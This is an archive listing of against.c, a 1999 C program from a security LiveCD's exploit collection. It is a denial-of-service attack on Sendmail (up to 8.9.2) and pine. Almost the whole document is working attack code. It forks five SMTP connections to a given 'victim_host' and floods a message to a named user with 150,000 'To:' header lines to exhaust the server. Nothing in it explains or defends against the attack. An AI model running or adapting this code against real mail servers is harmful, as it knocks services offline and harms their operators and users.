home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / sendmail / against.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  102 lines

  1. /*
  2.   against.c - Another Sendmail (and pine ;-) DoS (up to 8.9.2)
  3.   (c) 1999 by <marchew@linux.lepszy.od.kobiety.pl>
  4.  
  5.   Usage: ./against existing_user_on_victim_host victim_host
  6.   Example: ./against nobody lamers.net
  7.  
  8. */
  9.  
  10. #include <stdio.h>
  11. #include <unistd.h>
  12. #include <sys/param.h>
  13. #include <sys/socket.h>
  14. #include <sys/time.h>
  15. #include <netinet/in.h>
  16. #include <netdb.h>
  17. #include <stdarg.h>
  18. #include <errno.h>
  19. #include <signal.h>
  20. #include <getopt.h>
  21. #include <stdlib.h>
  22. #include <string.h>
  23.  
  24. #define MAXCONN 5
  25. #define LINES   150000
  26.  
  27. struct hostent *hp;
  28. struct sockaddr_in s;
  29. int suck,loop,x;
  30.  
  31. int main(int argc,char* argv[])
  32. {
  33.  
  34.   printf("against.c - another Sendmail DoS (up to 8.9.2)\n");
  35.  
  36.   if (argc-3)
  37.     {
  38.       printf("Usage: %s victim_user victim_host\n",argv[0]);
  39.       exit(0);
  40.     }
  41.  
  42.   hp=gethostbyname(argv[2]);
  43.  
  44.   if (!hp)
  45.     {
  46.       perror("gethostbyname");
  47.       exit(1);
  48.     }
  49.  
  50.   fprintf(stderr,"Doing mess: ");
  51.  
  52.   for (;loop<MAXCONN;loop++) if (!(x=fork()))
  53.       {
  54.         FILE* d;
  55.         bcopy(hp->h_addr,(void*)&s.sin_addr,hp->h_length);
  56.         s.sin_family=hp->h_addrtype;
  57.         s.sin_port=htons(25);
  58.         if ((suck=socket(AF_INET,SOCK_STREAM,0))<0) perror("socket");
  59.         if (connect(suck,(struct sockaddr *)&s,sizeof(s))) perror("connect");
  60.         if (!(d=fdopen(suck,"w")))
  61.           {
  62.             perror("fdopen");
  63.             exit(0);
  64.           }
  65.  
  66.         usleep(100000);
  67.  
  68.         fprintf(d,"helo tweety\n");
  69.         fprintf(d,"mail from: tweety@polbox.com\n");
  70.         fprintf(d,"rcpt to: %s@%s\n",argv[1],argv[2]);
  71.         fprintf(d,"data\n");
  72.  
  73.         usleep(100000);
  74.  
  75.         for(loop=0;loop<LINES;loop++)
  76.           {
  77.             if (!(loop%100)) fprintf(stderr,".");
  78.             fprintf(d,"To: x\n");
  79.           }
  80.  
  81.         fprintf(d,"\n\n\nsomedata\n\n\n");
  82.  
  83.         fprintf(d,".\n");
  84.  
  85.         sleep(1);
  86.  
  87.         fprintf(d,"quit\n");
  88.         fflush(d);
  89.  
  90.         sleep(100);
  91.         shutdown(suck,2);
  92.         close(suck);
  93.         exit(0);
  94.       }
  95.  
  96.   waitpid(x,&loop,0);
  97.  
  98.   fprintf(stderr,"ok\n");
  99.  
  100.   return 0;
  101. }
  102. /*                    www.hack.co.za              [2000]*/